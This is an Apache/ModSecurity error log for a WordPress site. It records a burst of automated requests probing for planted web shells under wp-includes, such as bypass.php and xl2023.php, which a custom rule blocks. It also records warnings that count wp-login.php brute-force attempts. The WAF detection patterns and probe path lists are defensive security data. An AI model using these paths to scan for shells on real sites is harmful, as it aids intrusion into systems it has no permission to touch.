[Sat Feb 28 22:05:39.498407 2026] [:error] [pid 39184:tid 39220] [client 45.86.200.215:47753] [client 45.86.200.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaL2M1tZF9Zd_U7easDcCwAAAEE"]
[Sat Feb 28 22:05:45.348485 2026] [:error] [pid 39184:tid 39240] [client 45.86.200.226:64591] [client 45.86.200.226] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/info.php"] [unique_id "aaL2OVtZF9Zd_U7easDcHQAAAFU"]
[Sat Feb 28 22:05:45.935911 2026] [:error] [pid 49763:tid 49788] [client 45.86.200.246:30143] [client 45.86.200.246] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class.api.php"] [unique_id "aaL2ObTHSOG_yf2PpqGvMAAAAdY"]
[Sat Feb 28 22:05:46.616099 2026] [:error] [pid 49763:tid 49779] [client 45.86.200.238:55193] [client 45.86.200.238] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaL2OrTHSOG_yf2PpqGvNgAAAc0"]
[Sat Feb 28 22:06:01.719749 2026] [:error] [pid 39184:tid 39243] [client 45.86.200.246:20765] [client 45.86.200.246] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/admin.php"] [unique_id "aaL2SVtZF9Zd_U7easDcSgAAAFg"]
[Sat Feb 28 22:06:07.522357 2026] [:error] [pid 49763:tid 49772] [client 45.86.200.239:32467] [client 45.86.200.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.200.239, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aaL2T7THSOG_yf2PpqGvqgAAAcY"]
[Sat Feb 28 22:06:27.575019 2026] [:error] [pid 49763:tid 49772] [client 45.86.200.239:32467] [client 45.86.200.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aaL2Y7THSOG_yf2PpqGwNgAAAcY"]
[Sat Feb 28 22:06:32.307953 2026] [:error] [pid 39183:tid 39200] [client 185.82.72.9:43561] [client 185.82.72.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.82.72.9, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aaL2aBCf4HvhVePw3LZ3NQAAAAg"]
[Sat Feb 28 22:06:36.509874 2026] [:error] [pid 39183:tid 39205] [client 185.82.72.9:43561] [client 185.82.72.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/item.php"] [unique_id "aaL2bBCf4HvhVePw3LZ3VgAAAA0"]
[Sat Feb 28 22:06:51.668260 2026] [:error] [pid 49763:tid 49770] [client 185.82.72.104:26297] [client 185.82.72.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aaL2e7THSOG_yf2PpqGw1wAAAcQ"]
[Sat Feb 28 22:07:06.337612 2026] [:error] [pid 52460:tid 52469] [client 45.86.200.222:20673] [client 45.86.200.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aaL2irLWOogAgHGh62SuAAAAAYY"]
[Sat Feb 28 22:07:10.883597 2026] [:error] [pid 39183:tid 39198] [client 185.82.72.107:36083] [client 185.82.72.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aaL2jhCf4HvhVePw3LZ4IwAAAAY"]
[Sat Feb 28 22:07:18.421871 2026] [:error] [pid 39184:tid 39242] [client 45.86.200.222:22879] [client 45.86.200.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.200.222, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-login.php"] [unique_id "aaL2lltZF9Zd_U7easDcqAAAAFc"]
[Sat Feb 28 22:07:20.344830 2026] [:error] [pid 39184:tid 39236] [client 45.86.200.222:22879] [client 45.86.200.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aaL2mFtZF9Zd_U7easDcrAAAAFE"]
[Sat Feb 28 22:07:49.022922 2026] [:error] [pid 39183:tid 39195] [client 45.86.200.215:62781] [client 45.86.200.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aaL2tRCf4HvhVePw3LZ5ZgAAAAM"]
[Sat Feb 28 22:07:55.745672 2026] [:error] [pid 52460:tid 52479] [client 185.82.72.103:35607] [client 185.82.72.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.82.72.103, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aaL2u7LWOogAgHGh62SufgAAAZA"]
[Sat Feb 28 22:08:02.627486 2026] [:error] [pid 52460:tid 52479] [client 185.82.72.103:35607] [client 185.82.72.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/about.php"] [unique_id "aaL2wrLWOogAgHGh62SukAAAAZA"]
[Sat Feb 28 22:08:05.318721 2026] [:error] [pid 39183:tid 39215] [client 45.86.200.216:50737] [client 45.86.200.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/infi.php"] [unique_id "aaL2xRCf4HvhVePw3LZ5wQAAABc"]
[Sat Feb 28 22:08:09.489307 2026] [:error] [pid 39184:tid 39221] [client 185.82.72.179:52853] [client 185.82.72.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/index.php"] [unique_id "aaL2yVtZF9Zd_U7easDc6wAAAEI"]
[Sat Feb 28 22:08:15.370895 2026] [:error] [pid 52460:tid 52475] [client 45.86.200.217:65493] [client 45.86.200.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/about.php"] [unique_id "aaL2z7LWOogAgHGh62SuuAAAAYw"]
[Sat Feb 28 22:08:16.000873 2026] [:error] [pid 11791:tid 11811] [client 45.86.200.251:45809] [client 45.86.200.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/index.php"] [unique_id "aaL20GuX5e1Q32gqxH3U1QAAARI"]
[Sat Feb 28 22:08:25.893877 2026] [:error] [pid 22194:tid 22217] [client 185.82.72.182:60407] [client 185.82.72.182] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aaL22X6mbajs3bzQGyuxQgAAAVU"]
[Sat Feb 28 22:08:28.523480 2026] [:error] [pid 52460:tid 52468] [client 185.82.72.179:53505] [client 185.82.72.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/about.php"] [unique_id "aaL23LLWOogAgHGh62SuzwAAAYU"]
[Sat Feb 28 22:08:34.438987 2026] [:error] [pid 52460:tid 52464] [client 45.86.200.225:51149] [client 45.86.200.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/edit.php"] [unique_id "aaL24rLWOogAgHGh62Su2AAAAYE"]
[Sat Feb 28 22:08:40.603754 2026] [:error] [pid 11791:tid 11817] [client 45.86.200.221:36643] [client 45.86.200.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aaL26GuX5e1Q32gqxH3U4AAAARg"]
[Sat Feb 28 22:08:45.828833 2026] [:error] [pid 52460:tid 52477] [client 45.86.200.215:58977] [client 45.86.200.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/click.php"] [unique_id "aaL27bLWOogAgHGh62Su8AAAAY4"]
[Sat Feb 28 22:08:51.726869 2026] [:error] [pid 39183:tid 39208] [client 45.86.200.251:41123] [client 45.86.200.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aaL28xCf4HvhVePw3LZ6pwAAABA"]
[Sat Feb 28 22:09:04.266074 2026] [:error] [pid 11791:tid 11795] [client 45.86.200.243:44781] [client 45.86.200.243] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aaL3AGuX5e1Q32gqxH3U9AAAAQI"]
[Sat Feb 28 22:09:04.902779 2026] [:error] [pid 49763:tid 49782] [client 45.86.200.247:64135] [client 45.86.200.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/xl2023.php"] [unique_id "aaL3ALTHSOG_yf2PpqGzjAAAAdA"]
[Sat Feb 28 22:09:05.465696 2026] [:error] [pid 39183:tid 39196] [client 45.86.200.220:43393] [client 45.86.200.220] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aaL3ARCf4HvhVePw3LZ64gAAAAQ"]
[Sat Feb 28 22:09:06.049315 2026] [:error] [pid 39292:tid 39315] [client 45.86.200.215:49155] [client 45.86.200.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aaL3AqIAO5fN7BxyqcGQ6gAAANU"]
[Sat Feb 28 22:09:08.848792 2026] [:error] [pid 11791:tid 11814] [client 45.86.200.248:36283] [client 45.86.200.248] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aaL3BGuX5e1Q32gqxH3U-wAAARU"]
[Sat Feb 28 22:09:09.499942 2026] [:error] [pid 49763:tid 49772] [client 45.86.200.213:36433] [client 45.86.200.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/index.php"] [unique_id "aaL3BbTHSOG_yf2PpqGzpQAAAcY"]
[Sat Feb 28 22:09:13.855463 2026] [:error] [pid 49763:tid 49781] [client 185.82.72.109:23921] [client 185.82.72.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "aaL3CbTHSOG_yf2PpqGzvQAAAc8"]
[Sat Feb 28 22:09:14.494335 2026] [:error] [pid 49763:tid 49788] [client 185.82.72.111:51407] [client 185.82.72.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/index.php"] [unique_id "aaL3CrTHSOG_yf2PpqGzwgAAAdY"]
[Sat Feb 28 22:09:15.143929 2026] [:error] [pid 49763:tid 49768] [client 45.86.200.232:21323] [client 45.86.200.232] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aaL3C7THSOG_yf2PpqGzxwAAAcI"]
[Sat Feb 28 22:09:15.849722 2026] [:error] [pid 49763:tid 49781] [client 185.82.72.107:56727] [client 185.82.72.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/security.php"] [unique_id "aaL3C7THSOG_yf2PpqGzywAAAc8"]
[Sat Feb 28 22:09:18.734787 2026] [:error] [pid 49763:tid 49767] [client 45.86.200.234:58857] [client 45.86.200.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aaL3DrTHSOG_yf2PpqGz1AAAAcE"]
[Sat Feb 28 22:09:22.924118 2026] [:error] [pid 39184:tid 39219] [client 185.82.72.179:60191] [client 185.82.72.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/about.php"] [unique_id "aaL3EltZF9Zd_U7easDd4wAAAEA"]
[Sat Feb 28 22:09:30.226529 2026] [:error] [pid 39183:tid 39203] [client 185.82.72.103:28979] [client 185.82.72.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aaL3GhCf4HvhVePw3LZ7IQAAAAs"]
[Sat Feb 28 22:09:42.980929 2026] [:error] [pid 49763:tid 49783] [client 45.86.200.246:39421] [client 45.86.200.246] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/file.php"] [unique_id "aaL3JrTHSOG_yf2PpqG0rAAAAdE"]
[Sat Feb 28 22:09:49.549888 2026] [:error] [pid 39184:tid 39237] [client 45.86.200.250:62817] [client 45.86.200.250] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aaL3LVtZF9Zd_U7easDeNgAAAFI"]
[Sat Feb 28 22:09:50.153950 2026] [:error] [pid 49763:tid 49773] [client 185.82.72.206:36723] [client 185.82.72.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aaL3LrTHSOG_yf2PpqG06gAAAcc"]
[Sat Feb 28 22:09:57.451750 2026] [:error] [pid 11791:tid 11804] [client 45.86.200.229:55607] [client 45.86.200.229] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aaL3NWuX5e1Q32gqxH3VHgAAAQs"]
[Sat Feb 28 22:10:03.421231 2026] [proxy_fcgi:error] [pid 39183:tid 39200] [client 45.86.200.213:60529] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 22:10:03.722331 2026] [proxy_fcgi:error] [pid 39183:tid 39210] [client 45.86.200.213:60529] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 22:10:04.031866 2026] [proxy_fcgi:error] [pid 39183:tid 39206] [client 45.86.200.213:60529] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 22:10:09.581333 2026] [:error] [pid 39183:tid 39192] [client 45.86.200.213:60529] [client 45.86.200.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/about.php"] [unique_id "aaL3QRCf4HvhVePw3LZ73QAAAAA"]
[Sat Feb 28 22:10:10.377605 2026] [:error] [pid 39183:tid 39209] [client 45.86.200.215:26573] [client 45.86.200.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aaL3QhCf4HvhVePw3LZ73gAAABE"]
[Sat Feb 28 22:10:12.158894 2026] [:error] [pid 39183:tid 39203] [client 45.86.200.224:25207] [client 45.86.200.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aaL3RBCf4HvhVePw3LZ74wAAAAs"]
[Sat Feb 28 22:10:12.716651 2026] [:error] [pid 39183:tid 39210] [client 185.82.72.104:31919] [client 185.82.72.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aaL3RBCf4HvhVePw3LZ76AAAABI"]
[Sat Feb 28 22:10:13.365481 2026] [:error] [pid 39292:tid 39298] [client 45.86.200.214:22903] [client 45.86.200.214] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aaL3RaIAO5fN7BxyqcGRJgAAAMQ"]
[Sat Feb 28 22:10:14.098001 2026] [:error] [pid 11791:tid 11810] [client 45.86.200.243:65307] [client 45.86.200.243] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aaL3RmuX5e1Q32gqxH3VMQAAARE"]
[Sat Feb 28 22:10:16.128585 2026] [:error] [pid 52460:tid 52485] [client 45.86.200.243:63479] [client 45.86.200.243] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/media/index.php"] [unique_id "aaL3SLLWOogAgHGh62SvnAAAAZY"]
[Sat Feb 28 22:10:16.699028 2026] [:error] [pid 49763:tid 49767] [client 45.86.200.251:53957] [client 45.86.200.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aaL3SLTHSOG_yf2PpqG1dQAAAcE"]
